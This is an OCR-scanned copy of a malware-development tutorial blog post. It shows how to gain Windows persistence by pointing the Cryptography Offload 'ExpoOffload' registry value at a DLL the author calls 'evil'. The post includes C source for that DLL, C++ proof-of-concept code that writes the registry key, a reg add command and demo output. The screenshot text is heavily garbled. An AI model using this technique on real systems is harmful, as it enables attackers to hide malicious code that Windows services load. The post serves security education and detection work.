Malware development: persistence - part 16.
Cryptography Registry Keys. Simple C++ example.
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2 minute read

Hello, cybersecurity enthusiasts and white hackers!

<windows.h>
<string.h>

int main ( int a rgc, c har* a rgv [ ] ) { win10-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

HKEY hkey = NULL; File Machine View Input Devices Help

const char* path "SOFTWARE\\Microsoft\\Crypto

HKEY._|
E

const char* evil "Z:\\2022-10-21-malware-pers- sz

LONG res = RegCreateKeyEx(HKEY LOCAL MACHINE, (L
(res == ERROR SUCCESS) {

RegSetValueEx(hkey, - (LPCSTR) "ExpoOffload", 0,
RegCloseKey (hkey) ;

This article is the result of my own investigation into one of the interesting malware
persistence trick: via Cryptography Registry Key.

In the course of studying the registry, | came across an interesting path:
HKLM\Software\Microsoft\Cryptography\

And there is a such function offloadModExpo. If | understand correctly, this function is used
to perform all modular exponentiations for both public and private key operations:
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https://cocomelonc.github.io/malware/2022/10/21/malware-pers-16.html

Remarks

A CSP will check in the registry for the value HKEY_LOCAL_MACHINE\Software\Microsoft), Clyptoglaphy Offload

\ExpoOffload that can be the name of a DLL. The CSP padLibra o load that DLL an
get the OffloadModExpo entry point. The CSP uses the entry point to perform all modulz

public and p 7 operations.

| didn’t go into too much detail, the very opportunity to experiment with this key and value in
the Windows registry is enough for me. So, | tried to hijacking this DLL path:

HKLM\Software\Microsoft\Cryptography\0offload and key value.

practical example

First of all, as usually, create “evil” DLL. As usually, just meow-meow messagebox (hack.c):

/*

hack.c - malicious DLL

DLL hijacking Cryptography registry path
author: @cocomelonc

*/

#include <windows.h>
#pragma comment (lib, "user32.1lib")

BOOL APIENTRY D1lMain(HMODULE hModule, DWORD wul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call) ({
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow-meow!",
"=A, A",
MB_OK
)i
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;

}
return TRUE;

Compile it:

x86_64-w64-mingw32-gcc -shared -o hack.dll hack.c
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-[~/hacking/cybersec_blog/2022-10-21-malware-pers-16]
[ofe hack.d1ll hack.c

( ) - [~/hacking/cybersec_blog/2022-10-21-malware-pers-16]
¢ s

total 100K

-rwxr-xr-x 1 cocomelonc cocomelonc 91K Oct 18 21:59 hack.dll
-rw-r--r-- 1 cocomelonc cocomelonc 563 Oct 18 21:58 hack.c
-rw-r--r-- 1 cocomelonc cocomelonc 878 Oct 18 21:57 pers.cpp

And create Proof-of-Concept code for hijacking (pers.cpp):

/*

pers.cpp

windows persistence via

hijacking cryptography DLL path

author: @cocomelonc
https://cocomelonc.github.io/malware/2022/10/21/malware-pers-16.html
*/

#include <windows.h>

#include <string.h>

int main(int argc, char* argv[]) {
HKEY hkey = NULL;

// reg path
const char* path

"SOFTWARE\\Microsoft\\Cryptography\\Offload";

// evil DLL
const char* evil

"Z:\\2022-10-21-malware-pers-16\\hack.dll";

// create key
LONG res = RegCreateKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)path, ©, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkey, 0);
if (res == ERROR_SUCCESS) {
// set registry key value
// reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Ooffload" /v
"ExpoOffload" /t REG_SZ /d "...\hack.dll" /f
RegSetValueEx(hkey, (LPCSTR)"ExpoOffload", ©, REG_SZ, (unsigned char*)evil,
strlen(evil));
RegCloseKey(hkey);
}

return 0;

}

That’s all | need for experiment.

demo

Let’s go to see everything in action. Compile our Proof-of-Concept code:
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x86_64-w64-mingw32-g++ -02 pers.cpp -0 pers.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive

~/hacking/cybersec_blog/2022-10-21-malware-pers-16]
-g++ pers.cpp pers.exe

) - [~/hacking/cybersec_blog/2022-10-21-malware-pers-16]

total 116K

-rwxr-xr-x 1 cocomelonc cocomelonc 15K Oct 18 22:00 pers.exe
-rwxr-xr-x 1 cocomelonc cocomelonc 91K Oct 18 21:59 hack.dll
-rwW-r--r-- cocomelonc cocomelonc 563 Oct 18 21:58 hack.c
-rw-r--r-- 1 cocomelonc cocomelonc 878 Oct 18 21:57 pers.cpp

) - [~/hacking/cybersec_blog/2022-10-21-malware-pers-16]

WW1lm pers.cpp

Then, for the purity of experiment, check registry keys in the victim’s machine and delete
keys if exists:

reg query "HKLM\SOFTWARE\Microsoft\Cryptography\Offload" /s

win10-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

Machine View Input Devices Help

ecified registry key or value.

Then, run our pers.exe script and check again:
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winl0-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

View Input Devices Help

4L _MACHINE /
Flond -, 7 -2 alw Byhack.dll

And now I'll try to run something. For example, | will try to open https:\\... link at the
browser or use search bar.
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win10-x64 (pers-default-Ffile) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

_MACHINENS £
fload REG A i) c.dl]

Meow-meow!

In the course of performing some cryptographic operations at the background, we will see
more and more popups.
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win1l0-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Meow-meow!

] 1
Meow-meow! Meow-meaw!

%| 43 B Right Ctrl
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winl0-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Microsoft Windows
The application is not responding. The program may
respond again if you wait.

Do you want to end this process?

Cancel

B oS #HEEE T S 0Right Ctrl
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winl1l0-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Meow-meow!

Meow-meow!

o B28AM
= T o100 BB

= w T #HEE T TS O Right Ctrl

Also | couldn’t even run Process Hacker 2 for investigation of the situation.
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win10-x64 (pers-default-file) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

= [ e Filters “~
Best match

Process Hacker 2

DESHZCI[} app 1324 NOTEPAD . EXE %1

Apps

2 procexpbd

B Command Prompt

Websites

B Process Hacker 2 on the Web

Search suggestions

%09 AM

L s
S ¥ 4% 8 Right Ctrl

Then, restore my VM snapshot, run sysinternals Procmon with following filters:
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winl0-x64 (procmon) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

user

Welcome

% | 43 £ Right Ctrl
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win10-x64 (procmen) [Running] - Oracle VM Virtual Box

File Machine View Input Devices Help

File Edit Event Filter Tools Options Help

EEHCERNYAO & £ L /| e of (M

Tin B¥ Process Monitor Filter

Display entries matching these conditions:

Architecture v ||is ~ ~ | then |Include

Reset Add Remove

Column Relation Value Action

g Operation is Load Image Include
£ Path ends with hack.dll Include
@ Process N i Procmon exe Exclude
@ Process N i Procexp exe Exclude
@ Process N i Autonuns exe Exclude
@ Process N i Procmon 64 exe Exclude
@ Process N i Procexpb4d.exe Exclude

L 022AM
HH 0 Type here to search [ oA m T ) e B

= # W B2 ¥| 6 K Right Ctrl

And as a result:
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win10-x64 (procmen) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

B Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

FEILNRN YHAO| & F L H - Dol

Time ... Process Name PID  Operation Path Result Detail

3:23:2... |®|ProcessHacker.. 4256 2 Load Image “WWBaxSvrishared \2022-10-21-malware-pers-16... SUCCESS Image Base: (x
59:23:2 'W-svchost exe 580 <2 Load Image “WBax Svrshared 2022-10-21-malware-pers-16... SUCCESS Image Base: Oy
59:23:2 'W-svchost exe 728 2 Load Image “WWBaoxSwr\shared 2022-10-21-malware-pers-16... SUCCESS Image Base: O

<
Showing 3 of 871,268 events (0.00034% Backed by virtual memory

8 okg #mEE T &0 Right Ctrl
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winl0-x64 (procmeon) [Running] - Oracle VM Virtual Box

File Machine View Input

Devices

Help

File Edit

Process Mame

:2... W sychost.exe
2. ‘W svchost exe

£

Event  Filter

:2... |®ProcessHacker...

... |8 ProcessHacker...
.. | ProcessHacker...
:2... '™ ProcessHacker...
&8 ProcessHacker...

... 1™ ProcessHacker...
.. |®ProcessHacker...
7%8 ProcessHacker...

&8 ProcessHacker...

2. |%ProcessHacker...
5. ‘E-backgroundTas. ..

Tools  Options

EELNRINYAO & # P

PID  Operation

4256 2 Load Image
920 < Load Image
728 | oad Image

42856 2 oad Image

4256 2| oad Image

4256 2 oad Image

4256 2| oad Image

4256 2| oad Image

4256 2 oad Image

4256 2 Load Image

4256 2 oad Image

4256 2| oad Image

4500 2 Load Image

Showing 13 of 1,039,509 events (0.0012%)

¥ Process Monitor - Sysinternals: www.sysinternals.com

=

Path

“WWBox Svrishared \2022-10-21-malwarepers-16 hack dll
“WWBox Svrehared \2022-10-21-malware-pers- 16 hack dll
WWWBox Svrehared \2022-10-21-malware-pers-16 hack dll

VBox Svrshared 2022-10-21-malware-pers- 16 hack dll
VBox Svrishared 2022-10-21-malware-pers- 16 hack dll

“WWBow Svrshared \2022-10-21-malware-pers- 16 hack dll
WWWBaox Svrshared \2022-10-21-malware-pers- 16 hack dll
WWWBox Svrehared \2022-10-21-malware-pers-16 hack dll
“WWBox Svrishared \2022-10-21-malware-pers-16\hack dll
“WWBox Svrishared \2022-10-21-malwarepers-16 hack dll

VBox Svrishared2022-10-21-malware-pers-16 \hack dil

AWWBox Svrshared ' 2022-10-21-malware-pers- 16 hack dll
“WWBox Svrishared \2022-10-21-malware-pers-16\hack dll

Backed by virtual memory

Result

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

0 Type here to search

CH]

9:24 AM
b))
Tl D) 10701202

&

EOokST #HE S ¥ & 0O Right Cirl

As you can see at some stage my “evil” meow-meow DLL loaded by svchost . exe,

ProcessHacker .exe and other processes.

So, everything is worked correctly. Perfectly! =*..A=

After end of experiments, restore my registry state:
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File Machine View Input Devices Help

Offload"”.

| don’t know if any APT in the wild used this tactic and trick, but, | hope this post spreads
awareness to the blue teamers of this interesting technique especially when create software,
and adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

OffloadModExpo

DLL hijacking

DLL hijacking with exported functions
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
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https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa387021(v=vs.85)
https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
https://cocomelonc.github.io/pentest/2021/10/12/dll-hijacking-2.html
https://github.com/cocomelonc/meow/tree/master/2022-10-21-malware-pers-16

